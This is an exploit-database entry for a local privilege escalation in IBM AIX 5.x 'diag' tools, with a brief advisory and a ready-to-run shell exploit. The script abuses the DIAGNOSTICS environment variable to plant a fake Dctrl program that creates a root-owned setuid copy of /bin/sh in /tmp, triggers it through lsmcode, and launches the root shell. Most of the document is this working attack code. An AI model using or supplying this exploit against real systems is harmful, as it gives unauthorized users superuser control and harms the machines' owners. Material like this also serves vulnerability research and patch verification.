IBM AIX 5.x - 'Diag' Local Privilege Escalation

source: https://www.securityfocus.com/bid/12041/info

diag is reported prone to a local privilege escalation vulnerability. This issue is due to a failure of certain diag applications to properly implement security controls when executing an application specified by the 'DIAGNOSTICS' environment variable.

A local attacker may leverage this issue to gain superuser privileges on a computer running the affected software. 

mkdirhier /tmp/aap/bin
export DIAGNOSTICS=/tmp/aap
cat > /tmp/aap/bin/Dctrl << EOF
#!/bin/sh
cp /bin/sh /tmp/.shh
chown root:system /tmp/.shh
chmod u+s /tmp/.shh
EOF
chmod a+x /tmp/aap/bin/Dctrl
lsmcode
/tmp/.shh